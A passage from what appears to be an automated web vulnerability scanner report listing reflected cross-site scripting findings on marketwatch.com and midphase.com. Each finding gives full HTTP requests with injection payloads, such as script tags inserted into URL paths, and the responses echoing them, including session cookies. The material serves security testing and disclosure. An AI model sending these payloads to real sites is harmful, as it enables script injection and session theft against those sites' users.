Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-MACHINE: sbkdedtwebp05
Date: Sat, 14 May 2011 10:20:10 GMT
Content-Length: 50890

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script type="text/javascript">
   // if present, canonical link is preferred
   var p = '/bg/api53699';3aed18dbeed/Pickup.ashx';
   var cl = $('link[rel=canonical]');
   if(cl != undefined && cl.length >
...[SNIP]...

4.97. http://www.marketwatch.com/doubleclick/DARTIframe.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/doubleclick/DARTIframe.html

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6b5fe'%3b9ea664612a2 was submitted in the REST URL parameter 1. This input was echoed as 6b5fe';9ea664612a2 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /doubleclick6b5fe'%3b9ea664612a2/DARTIframe.html?adParams=queId%3D1304622833178%26thirdPartyImpUrl%3Dhttp%253A//ad.doubleclick.net/ad/N3941.marketwatch.com/B5325532.17%253Bsz%253D1x1%253Bpc%253DDFP240691320%253Bord%253D3068525%253F%26thirdPartyFlashDisplayUrl%3D%26thirdPartyBackupImpUrl%3D%26surveyUrl%3D%26googleContextDiscoveryUrl%3Dhttp%253A//pagead2.googlesyndication.com/pagead/ads%253Fclient%253Ddclk-3pas-query%2526output%253Dxml%2526geo%253Dtrue%26livePreviewSiteUrl%3D%2525LivePreviewSiteUrl%26customScriptFileUrl%3D%26servingMethod%3Di%26mode%3DFlash%26isHTML5Creative%3Dfalse%26isHTML5PreviewMode%3Dfalse%26forceHTML5Creative%3Dfalse%26macro_j%3D910903057632460979-1018090093%26macro_eenv%3Di%26macro_g%3Dct%253DUS%2526st%253DVT%2526ac%253D802%2526zp%253D05672%2526bw%253D4%2526dma%253D25%2526city%253D17565%26macro_s%3Dmarketwatch.com%26macro_eaid%3D240691320%26macro_n%3D3068525%26macro_m%3D910903057632460979%26macro_erid%3D41996359%26macro_ebuy%3D5407031%26macro_ecid%3D41978572%26macro_erv%3D1%26macro_epid%3D13112443%26macro_eadv%3D1363789%26macro_esid%3D377367%26macro_ekid%3D0%26csiBaseline%3D1305367984368%26csiAdRespTime%3DNaN%26shouldDisplayFlashAsset%3Dtrue%26globalTemplateJs%3Dhttp%253A//s0.2mdn.net/879366/expandingIframeGlobalTemplate_v2_59_09.js&gtVersion=59_09&mediaserver=http%3A//s0.2mdn.net/879366&cid=GlobalTemplate_13046228331781305367984368&index=0 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/marketwatch.com/frontpage;u=%5e%5e;sz=250x26;tile=2;ord=1820011674?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; refresh=off; rsi_csl=; rsi_segs=; BIZO=biz=1053&

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-MACHINE: sbkdfpswebp01
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:20:59 GMT
Content-Length: 52318

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script type="text/javascript">
   // if present, canonical link is preferred
   var p = '/doubleclick6b5fe';9ea664612a2/DARTIframe.html';
   var cl = $('link[rel=canonical]');
   if(cl != undefined && cl.length >
...[SNIP]...

4.98. http://www.marketwatch.com/doubleclick/DARTIframe.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/doubleclick/DARTIframe.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1c3f9'%3b8adafa61384 was submitted in the REST URL parameter 2. This input was echoed as 1c3f9';8adafa61384 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /doubleclick/DARTIframe.html1c3f9'%3b8adafa61384?adParams=queId%3D1304622833178%26thirdPartyImpUrl%3Dhttp%253A//ad.doubleclick.net/ad/N3941.marketwatch.com/B5325532.17%253Bsz%253D1x1%253Bpc%253DDFP240691320%253Bord%253D3068525%253F%26thirdPartyFlashDisplayUrl%3D%26thirdPartyBackupImpUrl%3D%26surveyUrl%3D%26googleContextDiscoveryUrl%3Dhttp%253A//pagead2.googlesyndication.com/pagead/ads%253Fclient%253Ddclk-3pas-query%2526output%253Dxml%2526geo%253Dtrue%26livePreviewSiteUrl%3D%2525LivePreviewSiteUrl%26customScriptFileUrl%3D%26servingMethod%3Di%26mode%3DFlash%26isHTML5Creative%3Dfalse%26isHTML5PreviewMode%3Dfalse%26forceHTML5Creative%3Dfalse%26macro_j%3D910903057632460979-1018090093%26macro_eenv%3Di%26macro_g%3Dct%253DUS%2526st%253DVT%2526ac%253D802%2526zp%253D05672%2526bw%253D4%2526dma%253D25%2526city%253D17565%26macro_s%3Dmarketwatch.com%26macro_eaid%3D240691320%26macro_n%3D3068525%26macro_m%3D910903057632460979%26macro_erid%3D41996359%26macro_ebuy%3D5407031%26macro_ecid%3D41978572%26macro_erv%3D1%26macro_epid%3D13112443%26macro_eadv%3D1363789%26macro_esid%3D377367%26macro_ekid%3D0%26csiBaseline%3D1305367984368%26csiAdRespTime%3DNaN%26shouldDisplayFlashAsset%3Dtrue%26globalTemplateJs%3Dhttp%253A//s0.2mdn.net/879366/expandingIframeGlobalTemplate_v2_59_09.js&gtVersion=59_09&mediaserver=http%3A//s0.2mdn.net/879366&cid=GlobalTemplate_13046228331781305367984368&index=0 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/marketwatch.com/frontpage;u=%5e%5e;sz=250x26;tile=2;ord=1820011674?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; refresh=off; rsi_csl=; rsi_segs=; BIZO=biz=1053&

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-Powered-By: ASP.NET
X-MACHINE: sbkdedtwebp01
Date: Sat, 14 May 2011 10:21:23 GMT
Content-Length: 52296

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script type="text/javascript">
   // if present, canonical link is preferred
   var p = '/doubleclick/DARTIframe.html1c3f9';8adafa61384';
   var cl = $('link[rel=canonical]');
   if(cl != undefined && cl.length >
...[SNIP]...

4.99. http://www.marketwatch.com/news/Headline/_HeadlineItem [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/news/Headline/_HeadlineItem

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 95487'%3b4ce0dc04769 was submitted in the REST URL parameter 3. This input was echoed as 95487';4ce0dc04769 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /news/Headline/_HeadlineItem95487'%3b4ce0dc04769 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-MACHINE: sbkdfpswebp03
Date: Sat, 14 May 2011 11:03:10 GMT
Content-Length: 50879

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script type="text/javascript">
   // if present, canonical link is preferred
   var p = '/news/Headline/_HeadlineItem95487';4ce0dc04769';
   var cl = $('link[rel=canonical]');
   if(cl != undefined && cl.length >
...[SNIP]...

4.100. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 23f1f'%3b9ca0a5d917e was submitted in the REST URL parameter 1. This input was echoed as 23f1f';9ca0a5d917e in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /story23f1f'%3b9ca0a5d917e/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-Powered-By: ASP.NET
X-MACHINE: sbkdfinwebp02
Date: Sat, 14 May 2011 10:42:46 GMT
Content-Length: 51307

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script type="text/javascript">
   // if present, canonical link is preferred
   var p = '/story23f1f';9ca0a5d917e/citigroups-new-look-is-plainly-cosmetic-2011-05-13';
   var cl = $('link[rel=canonical]');
   if(cl != undefined && cl.length >
...[SNIP]...

4.101. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c9921'%3b72a080b99e0 was submitted in the REST URL parameter 1. This input was echoed as c9921';72a080b99e0 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /storyc9921'%3b72a080b99e0/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-Powered-By: ASP.NET
X-MACHINE: secdedtwebp01
Date: Sat, 14 May 2011 10:45:23 GMT
Content-Length: 51272

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script type="text/javascript">
   // if present, canonical link is preferred
   var p = '/storyc9921';72a080b99e0/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390';
   var cl = $('link[rel=canonical]');
   if(cl != undefined && cl.length >
...[SNIP]...

4.102. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bd171'%3b895992777ed was submitted in the REST URL parameter 1. This input was echoed as bd171';895992777ed in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /storybd171'%3b895992777ed/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; refresh=off; rsi_csl=; rsi_segs=; BIZO=biz=1053&; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-Powered-By: ASP.NET
X-MACHINE: secdfpswebp05
Date: Sat, 14 May 2011 10:33:16 GMT
Content-Length: 51081

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script type="text/javascript">
   // if present, canonical link is preferred
   var p = '/storybd171';895992777ed/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12';
   var cl = $('link[rel=canonical]');
   if(cl != undefined && cl.length >
...[SNIP]...

4.103. http://www.midphase.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.midphase.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6dbc2"><script>alert(1)</script>632c554a508 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico6dbc2"><script>alert(1)</script>632c554a508 HTTP/1.1
Host: www.midphase.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1305377515.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1634246940.1305377515.1305377515.1305377515.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.2.10.1305377515; rrCookie_sessionInfo=%7B%22status%22%3A%22invalid%22%7D

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:53:33 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Set-Cookie: PHPSESSID=859980f553abc79bfc641c0f70463d4a; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 16278

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-
...[SNIP]...
<input type="hidden" name="url" value="/favicon.ico6dbc2"><script>alert(1)</script>632c554a508" />
...[SNIP]...

4.104. http://www.midphase.com/includes/form-processing/captcha/cryptographp.inc.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.midphase.com
Path:	/includes/form-processing/captcha/cryptographp.inc.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81167"><script>alert(1)</script>99199d6d8d4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /includes81167"><script>alert(1)</script>99199d6d8d4/form-processing/captcha/cryptographp.inc.php?cfg=gray.cfg.php&sn=PHPSESSID& HTTP/1.1
Host: www.midphase.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/favicon.ico6dbc2%22%3E%3Cscript%3Ealert(%22FAVICON%22)%3C/script%3E632c554a508
Cookie: cryptcookietest=1; PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4; __utma=1.1523231672.1305459815.1305459815.1305459815.1; __utmb=1.1.10.1305459815; __utmc=1; __utmz=1.1305459815.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/18

Response

HTTP/1.1 404 Not Found
Date: Sun, 15 May 2011 11:44:18 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 16411

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-
...[SNIP]...
<input type="hidden" name="url" value="/includes81167"><script>alert(1)</script>99199d6d8d4/form-processing/captcha/cryptographp.inc.php?cfg=gray.cfg.php&sn=PHPSESSID&" />
...[SNIP]...

4.105. http://www.midphase.com/includes/form-processing/captcha/cryptographp.inc.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.midphase.com
Path:	/includes/form-processing/captcha/cryptographp.inc.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78c41"><script>alert(1)</script>4d2893d813a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /includes/form-processing78c41"><script>alert(1)</script>4d2893d813a/captcha/cryptographp.inc.php?cfg=gray.cfg.php&sn=PHPSESSID& HTTP/1.1
Host: www.midphase.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/favicon.ico6dbc2%22%3E%3Cscript%3Ealert(%22FAVICON%22)%3C/script%3E632c554a508
Cookie: cryptcookietest=1; PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4; __utma=1.1523231672.1305459815.1305459815.1305459815.1; __utmb=1.1.10.1305459815; __utmc=1; __utmz=1.1305459815.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/18

Response

HTTP/1.1 404 Not Found
Date: Sun, 15 May 2011 11:44:21 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 16411

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-
...[SNIP]...
<input type="hidden" name="url" value="/includes/form-processing78c41"><script>alert(1)</script>4d2893d813a/captcha/cryptographp.inc.php?cfg=gray.cfg.php&sn=PHPSESSID&" />
...[SNIP]...

4.106. http://www.midphase.com/includes/form-processing/captcha/cryptographp.inc.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.midphase.com
Path:	/includes/form-processing/captcha/cryptographp.inc.php

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae79b"><script>alert(1)</script>9d0b499024c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /includes/form-processing/captchaae79b"><script>alert(1)</script>9d0b499024c/cryptographp.inc.php?cfg=gray.cfg.php&sn=PHPSESSID& HTTP/1.1
Host: www.midphase.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/favicon.ico6dbc2%22%3E%3Cscript%3Ealert(%22FAVICON%22)%3C/script%3E632c554a508
Cookie: cryptcookietest=1; PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4; __utma=1.1523231672.1305459815.1305459815.1305459815.1; __utmb=1.1.10.1305459815; __utmc=1; __utmz=1.1305459815.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/18

Response

HTTP/1.1 404 Not Found
Date: Sun, 15 May 2011 11:44:23 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 16411

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-
...[SNIP]...
